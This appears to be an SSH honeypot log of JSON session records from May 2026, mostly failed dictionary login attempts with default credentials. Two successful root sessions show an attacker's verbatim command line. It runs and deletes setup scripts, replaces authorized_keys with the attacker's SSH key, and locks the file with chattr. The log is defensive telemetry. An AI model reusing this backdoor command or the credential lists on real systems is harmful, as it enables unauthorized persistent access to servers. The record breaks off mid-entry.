Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: admin
{
"id": "5ec9a42442bf",
"src_ip": "151.237.115.208",
"start_time": "2026-05-16T02:41:08.345191Z",
"end_time": "2026-05-16T02:41:11.179672Z",
"duration": "2.8",
"version": "SSH-2.0-OpenSSH_7.4",
"hassh": "acaa53e0a7d7ac7d1255103f37901306",
"attempts": [
{
"user": "admin",
"pass": "password321"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "b089d5607eeb",
"src_ip": "45.148.10.121",
"start_time": "2026-05-16T02:40:47.156479Z",
"end_time": "2026-05-16T02:40:47.301883Z",
"duration": "0.1",
"version": "SSH-2.0-Go",
"hassh": null,
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": []
}Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "66613ef60ea9",
"src_ip": "66.132.172.138",
"start_time": "2026-05-16T02:36:00.978095Z",
"end_time": "2026-05-16T02:36:16.069634Z",
"duration": "15.1",
"version": "SSH-2.0-Go",
"hassh": "873a5fb5fedc2d4f8638ebde4abc6cfc",
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": []
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: tunnel
{
"id": "f64db3cf743a",
"src_ip": "106.112.194.160",
"start_time": "2026-05-16T02:35:50.099974Z",
"end_time": "2026-05-16T02:35:55.584459Z",
"duration": "5.5",
"version": "SSH-2.0-OpenSSH_7.4",
"hassh": "acaa53e0a7d7ac7d1255103f37901306",
"attempts": [
{
"user": "tunnel",
"pass": "tunnel"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: root / P
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "8a969896073c",
"src_ip": "130.12.180.51",
"start_time": "2026-05-16T02:35:10.732163Z",
"end_time": "2026-05-16T02:35:46.843965Z",
"duration": "36.1",
"version": "SSH-2.0-Go",
"hassh": "5f904648ee8964bef0e8834012e26003",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "P"
},
"commands": [
"chmod +x clean.sh; sh clean.sh; rm -rf clean.sh; chmod +x setup.sh; sh setup.sh; rm -rf setup.sh; mkdir -p ~/.ssh; chattr -ia ~/.ssh/authorized_keys; echo \"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqHrvnL6l7rT/mt1AdgdY9tC1GPK216q0q/7neNVqm7AgvfJIM3ZKniGC3S5x6KOEApk+83GM4IKjCPfq007SvT07qh9AscVxegv66I5yuZTEaDAG6cPXxg3/0oXHTOTvxelgbRrMzfU5SEDAEi8+ByKMefE+pDVALgSTBYhol96hu1GthAMtPAFahqxrvaRR4nL4ijxOsmSLREoAb1lxiX7yvoYLT45/1c5dJdrJrQ60uKyieQ6FieWpO2xF6tzfdmHbiVdSmdw0BiCRwe+fuknZYQxIC1owAj2p5bc+nzVTi3mtBEk9rGpgBnJ1hcEUslEf/zevIcX8+6H7kUMRr rsa-key-20230629\" > ~/.ssh/authorized_keys; chattr +ai ~/.ssh/authorized_keys; uname -a; echo -e \"\\x61\\x75\\x74\\x68\\x5F\\x6F\\x6B\\x0A\""
],
"detailed_commands": [
{
"cmd": "chmod +x clean.sh; sh clean.sh; rm -rf clean.sh; chmod +x setup.sh; sh setup.sh; rm -rf setup.sh; mkdir -p ~/.ssh; chattr -ia ~/.ssh/authorized_keys; echo \"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqHrvnL6l7rT/mt1AdgdY9tC1GPK216q0q/7neNVqm7AgvfJIM3ZKniGC3S5x6KOEApk+83GM4IKjCPfq007SvT07qh9AscVxegv66I5yuZTEaDAG6cPXxg3/0oXHTOTvxelgbRrMzfU5SEDAEi8+ByKMefE+pDVALgSTBYhol96hu1GthAMtPAFahqxrvaRR4nL4ijxOsmSLREoAb1lxiX7yvoYLT45/1c5dJdrJrQ60uKyieQ6FieWpO2xF6tzfdmHbiVdSmdw0BiCRwe+fuknZYQxIC1owAj2p5bc+nzVTi3mtBEk9rGpgBnJ1hcEUslEf/zevIcX8+6H7kUMRr rsa-key-20230629\" > ~/.ssh/authorized_keys; chattr +ai ~/.ssh/authorized_keys; uname -a; echo -e \"\\x61\\x75\\x74\\x68\\x5F\\x6F\\x6B\\x0A\"",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 150,
"tags": [
"COMMANDS RUN",
"SUCCESSFUL LOGIN",
"RECONNAISSANCE",
"DATA THEFT"
]
}Credential acceptance event recorded. Target authentication: root / P
{
"id": "505efa9525c9",
"src_ip": "103.118.28.17",
"start_time": "2026-05-16T02:35:08.226130Z",
"end_time": "2026-05-16T02:35:10.137905Z",
"duration": "1.9",
"version": "SSH-2.0-libssh2_1.11.1",
"hassh": "19532158b559096b89b1a5f7d17175b2",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "P"
},
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 50,
"tags": [
"SUCCESSFUL LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: support
{
"id": "48cd21887174",
"src_ip": "121.178.185.141",
"start_time": "2026-05-16T02:35:02.623859Z",
"end_time": "2026-05-16T02:35:07.345197Z",
"duration": "4.7",
"version": "SSH-2.0-OpenSSH_7.4",
"hassh": "acaa53e0a7d7ac7d1255103f37901306",
"attempts": [
{
"user": "support",
"pass": "P@ssword"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: orangepi
{
"id": "c92771377dab",
"src_ip": "103.118.28.17",
"start_time": "2026-05-16T02:34:33.984881Z",
"end_time": "2026-05-16T02:34:36.395182Z",
"duration": "2.4",
"version": "SSH-2.0-libssh2_1.11.1",
"hassh": "19532158b559096b89b1a5f7d17175b2",
"attempts": [
{
"user": "orangepi",
"pass": "orangepi"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: admin
{
"id": "3bc3bd8eb2fa",
"src_ip": "103.118.28.17",
"start_time": "2026-05-16T02:33:48.658595Z",
"end_time": "2026-05-16T02:34:02.320309Z",
"duration": "13.7",
"version": "SSH-2.0-libssh2_1.11.1",
"hassh": "19532158b559096b89b1a5f7d17175b2",
"attempts": [
{
"user": "admin",
"pass": "admin"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: support
{
"id": "d7421f96c0d3",
"src_ip": "87.251.64.176",
"start_time": "2026-05-16T02:28:20.277828Z",
"end_time": "2026-05-16T02:28:22.178214Z",
"duration": "1.9",
"version": "SSH-2.0-Go",
"hassh": "eff4c24daffc8532c160e86e5f006e53",
"attempts": [
{
"user": "support",
"pass": "support"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "72d9f23f81d2",
"src_ip": "192.168.0.1",
"start_time": "2026-05-16T02:28:06.927906Z",
"end_time": "2026-05-16T02:28:06.939840Z",
"duration": "0.0",
"version": null,
"hassh": null,
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": []
}Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "bb969f0a6bcc",
"src_ip": "35.233.18.38",
"start_time": "2026-05-16T02:20:23.102563Z",
"end_time": "2026-05-16T02:20:23.914259Z",
"duration": "0.8",
"version": "SSH-2.0-libssh2_1.10.0",
"hassh": "b4b8ae3d7241d2c1dc54b4df7e8c19d1",
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": []
}Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "620adef18403",
"src_ip": "35.233.18.38",
"start_time": "2026-05-16T02:19:57.400200Z",
"end_time": "2026-05-16T02:19:57.542808Z",
"duration": "0.1",
"version": null,
"hassh": null,
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": []
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: admin
{
"id": "98d22460658f",
"src_ip": "35.233.18.38",
"start_time": "2026-05-16T02:18:31.781021Z",
"end_time": "2026-05-16T02:18:34.004867Z",
"duration": "2.2",
"version": "SSH-2.0-Go",
"hassh": "dde267e50f82fcc16a7e1e7b59b8af71",
"attempts": [
{
"user": "admin",
"pass": "admin"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "b512bc0d20a0",
"src_ip": "35.233.18.38",
"start_time": "2026-05-16T02:18:31.103117Z",
"end_time": "2026-05-16T02:18:52.017781Z",
"duration": "20.9",
"version": "SSH-2.0-Fingerprintx-SSH2",
"hassh": "4e066189c3bbeec38c99b1855113733a",
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": []
}Unauthorized authentication attempt escalated. Dictionary traversal detected (5 distinct queries). Vector identities: andie
{
"id": "ae85a19d1ff5",
"src_ip": "213.209.159.56",
"start_time": "2026-05-16T02:17:19.575611Z",
"end_time": "2026-05-16T02:17:26.176890Z",
"duration": "6.6",
"version": "SSH-2.0-PuTTY_Release_0.83",
"hassh": "57446c12547a668110aa237e5965e374",
"attempts": [
{
"user": "andie",
"pass": "andie"
},
{
"user": "andie",
"pass": "andie1"
},
{
"user": "andie",
"pass": "andie123"
},
{
"user": "andie",
"pass": "andie1234"
},
{
"user": "andie",
"pass": "andie12345"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "c703e871ff21",
"src_ip": "67.201.33.12",
"start_time": "2026-05-16T02:14:02.732117Z",
"end_time": "2026-05-16T02:14:23.360530Z",
"duration": "20.6",
"version": null,
"hassh": null,
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": []
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: sol
{
"id": "febb1e704585",
"src_ip": "2.57.122.238",
"start_time": "2026-05-16T02:13:42.621686Z",
"end_time": "2026-05-16T02:13:44.465240Z",
"duration": "1.8",
"version": "SSH-2.0-Go",
"hassh": "16443846184eafde36765c9bab2f4397",
"attempts": [
{
"user": "sol",
"pass": "12345678"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: pi
{
"id": "cdd865ffae3c",
"src_ip": "223.107.146.186",
"start_time": "2026-05-16T02:12:03.770028Z",
"end_time": "2026-05-16T02:12:08.841100Z",
"duration": "5.1",
"version": "SSH-2.0-OpenSSH_7.4",
"hassh": "acaa53e0a7d7ac7d1255103f37901306",
"attempts": [
{
"user": "pi",
"pass": "12345678"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: sol
{
"id": "61ac8f86485d",
"src_ip": "2.57.122.238",
"start_time": "2026-05-16T02:11:42.882235Z",
"end_time": "2026-05-16T02:11:44.737435Z",
"duration": "1.9",
"version": "SSH-2.0-Go",
"hassh": "16443846184eafde36765c9bab2f4397",
"attempts": [
{
"user": "sol",
"pass": "123"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: sol
{
"id": "85934aebe8d2",
"src_ip": "2.57.122.238",
"start_time": "2026-05-16T02:09:40.294981Z",
"end_time": "2026-05-16T02:09:42.137131Z",
"duration": "1.8",
"version": "SSH-2.0-Go",
"hassh": "16443846184eafde36765c9bab2f4397",
"attempts": [
{
"user": "sol",
"pass": "sol123"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: support
{
"id": "16ccf2c3c39b",
"src_ip": "87.251.64.176",
"start_time": "2026-05-16T02:09:23.475605Z",
"end_time": "2026-05-16T02:09:25.379963Z",
"duration": "1.9",
"version": "SSH-2.0-Go",
"hassh": "eff4c24daffc8532c160e86e5f006e53",
"attempts": [
{
"user": "support",
"pass": "support"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: validator
{
"id": "1b07c5fc021d",
"src_ip": "2.57.122.238",
"start_time": "2026-05-16T02:07:38.225653Z",
"end_time": "2026-05-16T02:07:40.069758Z",
"duration": "1.8",
"version": "SSH-2.0-Go",
"hassh": "16443846184eafde36765c9bab2f4397",
"attempts": [
{
"user": "validator",
"pass": "validator"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: admin
{
"id": "da3c273bc116",
"src_ip": "50.187.155.130",
"start_time": "2026-05-16T02:06:28.579677Z",
"end_time": "2026-05-16T02:06:34.333870Z",
"duration": "5.8",
"version": "SSH-2.0-OpenSSH_7.4",
"hassh": "acaa53e0a7d7ac7d1255103f37901306",
"attempts": [
{
"user": "admin",
"pass": "a123456789"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: centos
{
"id": "36d962650913",
"src_ip": "90.230.168.26",
"start_time": "2026-05-16T02:05:49.357257Z",
"end_time": "2026-05-16T02:05:53.145085Z",
"duration": "3.8",
"version": "SSH-2.0-OpenSSH_7.4",
"hassh": "acaa53e0a7d7ac7d1255103f37901306",
"attempts": [
{
"user": "centos",
"pass": "P@ssw0rd"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: ubuntu
{
"id": "ddbd461081a3",
"src_ip": "2.57.122.238",
"start_time": "2026-05-16T02:05:35.783945Z",
"end_time": "2026-05-16T02:05:37.629925Z",
"duration": "1.8",
"version": "SSH-2.0-Go",
"hassh": "16443846184eafde36765c9bab2f4397",
"attempts": [
{
"user": "ubuntu",
"pass": "ubuntu"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: node
{
"id": "88a9b6896f0b",
"src_ip": "2.57.122.238",
"start_time": "2026-05-16T02:03:25.740997Z",
"end_time": "2026-05-16T02:03:27.584146Z",
"duration": "1.8",
"version": "SSH-2.0-Go",
"hassh": "16443846184eafde36765c9bab2f4397",
"attempts": [
{
"user": "node",
"pass": "node"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: ethereum
{
"id": "cd6fb6bcc577",
"src_ip": "2.57.122.238",
"start_time": "2026-05-16T02:01:20.164019Z",
"end_time": "2026-05-16T02:01:22.009832Z",
"duration": "1.8",
"version": "SSH-2.0-Go",
"hassh": "16443846184eafde36765c9bab2f4397",
"attempts": [
{
"user": "ethereum",
"pass": "ethereum"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: solv
{
"id": "b21698f51c89",
"src_ip": "2.57.122.238",
"start_time": "2026-05-16T01:59:21.870375Z",
"end_time": "2026-05-16T01:59:23.714322Z",
"duration": "1.8",
"version": "SSH-2.0-Go",
"hassh": "16443846184eafde36765c9bab2f4397",
"attempts": [
{
"user": "solv",
"pass": "12345678"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: solv
{
"id": "36b57c06f40b",
"src_ip": "2.57.122.238",
"start_time": "2026-05-16T01:57:20.241518Z",
"end_time": "2026-05-16T01:57:22.085394Z",
"duration": "1.8",
"version": "SSH-2.0-Go",
"hassh": "16443846184eafde36765c9bab2f4397",
"attempts": [
{
"user": "solv",
"pass": "123456"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: solv
{
"id": "e5c988fa6f20",
"src_ip": "2.57.122.238",
"start_time": "2026-05-16T01:55:19.668014Z",
"end_time": "2026-05-16T01:55:21.510037Z",
"duration": "1.8",
"version": "SSH-2.0-Go",
"hassh": "16443846184eafde36765c9bab2f4397",
"attempts": [
{
"user": "solv",
"pass": "1234"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: solv
{
"id": "766a20de3223",
"src_ip": "2.57.122.238",
"start_time": "2026-05-16T01:53:21.037860Z",
"end_time": "2026-05-16T01:53:22.882639Z",
"duration": "1.8",
"version": "SSH-2.0-Go",
"hassh": "16443846184eafde36765c9bab2f4397",
"attempts": [
{
"user": "solv",
"pass": "solv"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: solana
{
"id": "271c8cb83c15",
"src_ip": "2.57.122.238",
"start_time": "2026-05-16T01:51:11.057583Z",
"end_time": "2026-05-16T01:51:12.892722Z",
"duration": "1.8",
"version": "SSH-2.0-Go",
"hassh": "16443846184eafde36765c9bab2f4397",
"attempts": [
{
"user": "solana",
"pass": "solana"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: root / rootabc123
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "393c3da16c4d",
"src_ip": "213.209.159.158",
"start_time": "2026-05-16T01:50:21.701632Z",
"end_time": "2026-05-16T01:50:55.168816Z",
"duration": "33.5",
"version": "SSH-2.0-Go",
"hassh": "5f904648ee8964bef0e8834012e26003",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "rootabc123"
},
"commands": [
"chmod +x setup.sh; sh setup.sh; rm -rf setup.sh; mkdir -p ~/.ssh; chattr -ia ~/.ssh/authorized_keys; echo \"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqHrvnL6l7rT/mt1AdgdY9tC1GPK216q0q/7neNVqm7AgvfJIM3ZKniGC3S5x6KOEApk+83GM4IKjCPfq007SvT07qh9AscVxegv66I5yuZTEaDAG6cPXxg3/0oXHTOTvxelgbRrMzfU5SEDAEi8+ByKMefE+pDVALgSTBYhol96hu1GthAMtPAFahqxrvaRR4nL4ijxOsmSLREoAb1lxiX7yvoYLT45/1c5dJdrJrQ60uKyieQ6FieWpO2xF6tzfdmHbiVdSmdw0BiCRwe+fuknZYQxIC1owAj2p5bc+nzVTi3mtBEk9rGpgBnJ1hcEUslEf/zevIcX8+6H7kUMRr rsa-key-20230629\" > ~/.ssh/authorized_keys; chattr +ai ~/.ssh/authorized_keys; uname -a"
],
"detailed_commands": [
{
"cmd": "chmod +x setup.sh; sh setup.sh; rm -rf setup.sh; mkdir -p ~/.ssh; chattr -ia ~/.ssh/authorized_keys; echo \"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqHrvnL6l7rT/mt1AdgdY9tC1GPK216q0q/7neNVqm7AgvfJIM3ZKniGC3S5x6KOEApk+83GM4IKjCPfq007SvT07qh9AscVxegv66I5yuZTEaDAG6cPXxg3/0oXHTOTvxelgbRrMzfU5SEDAEi8+ByKMefE+pDVALgSTBYhol96hu1GthAMtPAFahqxrvaRR4nL4ijxOsmSLREoAb1lxiX7yvoYLT45/1c5dJdrJrQ60uKyieQ6FieWpO2xF6tzfdmHbiVdSmdw0BiCRwe+fuknZYQxIC1owAj2p5bc+nzVTi3mtBEk9rGpgBnJ1hcEUslEf/zevIcX8+6H7kUMRr rsa-key-20230629\" > ~/.ssh/authorized_keys; chattr +ai ~/.ssh/authorized_keys; uname -a",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 150,
"tags": [
"COMMANDS RUN",
"SUCCESSFUL LOGIN",
"RECONNAISSANCE",
"DATA THEFT"
]
}Credential acceptance event recorded. Target authentication: root / rootabc123
{
"id": "720eabe4d2d2",
"src_ip": "213.209.159.158",
"start_time": "2026-05-16T01:50:16.766220Z",
"end_time": "2026-05-16T01:50:21.554570Z",
"duration": "4.8",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "rootabc123"
},
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 50,
"tags": [
"SUCCESSFUL LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: sol
{
"id": "59338462277f",
"src_ip": "2.57.122.238",
"start_time": "2026-05-16T01:48:59.061341Z",
"end_time": "2026-05-16T01:49:00.907075Z",
"duration": "1.8",
"version": "SSH-2.0-Go",
"hassh": "16443846184eafde36765c9bab2f4397",
"attempts": [
{
"user": "sol",
"pass": "sol"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "870c97f08143",
"src_ip": "2.57.122.238",
"start_time": "2026-05-16T01:46:35.168746Z",
"end_time": "2026-05-16T01:46:35.336022Z",
"duration": "0.2",
"version": null,
"hassh": null,
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": []
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: support
{
"id": "b9f003b94f32",
"src_ip": "87.251.64.176",
"start_time": "2026-05-16T01:45:39.575760Z",
"end_time": "2026-05-16T01:45:41.478678Z",
"duration": "1.9",
"version": "SSH-2.0-Go",
"hassh": "eff4c24daffc8532c160e86e5f006e53",
"attempts": [
{
"user": "support",
"pass": "support"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: admin
{
"id": "d0925c4a6cf9",
"src_ip": "37.28.177.141",
"start_time": "2026-05-16T01:42:59.264526Z",
"end_time": "2026-05-16T01:43:03.594589Z",
"duration": "4.3",
"version": "SSH-2.0-OpenSSH_7.4",
"hassh": "acaa53e0a7d7ac7d1255103f37901306",
"attempts": [
{
"user": "admin",
"pass": "Password1"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "bae111b013e2",
"src_ip": "69.5.169.164",
"start_time": "2026-05-16T01:41:10.988767Z",
"end_time": "2026-05-16T01:41:11.318063Z",
"duration": "0.3",
"version": "SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.8",
"hassh": "8e8294623d295b5c79addcd28d64328c",
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": []
}Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "d51f42e44d36",
"src_ip": "69.5.169.163",
"start_time": "2026-05-16T01:40:00.044761Z",
"end_time": "2026-05-16T01:40:00.217566Z",
"duration": "0.2",
"version": null,
"hassh": null,
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": []
}Credential acceptance event recorded. Target authentication: root / admin123
{
"id": "f3c3dc165e24",
"src_ip": "193.46.255.86",
"start_time": "2026-05-16T01:33:07.298475Z",
"end_time": "2026-05-16T01:33:08.917027Z",
"duration": "1.6",
"version": "SSH-2.0-PuTTY_Release_0.83",
"hassh": "57446c12547a668110aa237e5965e374",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "admin123"
},
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 50,
"tags": [
"SUCCESSFUL LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (5 distinct queries). Vector identities: user
{
"id": "151e63e5cb5e",
"src_ip": "2.57.121.25",
"start_time": "2026-05-16T01:32:13.053952Z",
"end_time": "2026-05-16T01:32:19.816524Z",
"duration": "6.8",
"version": "SSH-2.0-PuTTY_Release_0.83",
"hassh": "57446c12547a668110aa237e5965e374",
"attempts": [
{
"user": "user",
"pass": "classy"
},
{
"user": "user",
"pass": "chosen"
},
{
"user": "user",
"pass": "chipper1"
},
{
"user": "user",
"pass": "chesty"
},
{
"user": "user",
"pass": "cherry1"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (5 distinct queries). Vector identities: admin
{
"id": "293b4501329a",
"src_ip": "2.57.121.112",
"start_time": "2026-05-16T01:29:18.480889Z",
"end_time": "2026-05-16T01:29:25.245524Z",
"duration": "6.8",
"version": "SSH-2.0-PuTTY_Release_0.83",
"hassh": "57446c12547a668110aa237e5965e374",
"attempts": [
{
"user": "admin",
"pass": "conehead"
},
{
"user": "admin",
"pass": "collar"
},
{
"user": "admin",
"pass": "coleslaw"
},
{
"user": "admin",
"pass": "codeman"
},
{
"user": "admin",
"pass": "cockring"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "60224db36267",
"src_ip": "124.163.255.210",
"start_time": "2026-05-16T01:28:17.732002Z",
"end_time": "2026-05-16T01:30:17.788763Z",
"duration": "120.1",
"version": null,
"hassh": null,
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 10,
"tags": []
}Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "973313ccd5e9",
"src_ip": "147.185.132.46",
"start_time": "2026-05-16T01:24:51.167332Z",
"end_time": "2026-05-16T01:24:51.321987Z",
"duration": "0.2",
"version": null,
"hassh": null,
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": []
}Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "e342a8a97ae2",
"src_ip": "192.111.131.4",
"start_time": "2026-05-16T01:24:23.085275Z",
"end_time": "2026-05-16T01:26:23.134999Z",
"duration": "120.0",
"version": null,
"hassh": null,
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 10,
"tags": []
}Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "9e487fe588ca",
"src_ip": "94.102.49.155",
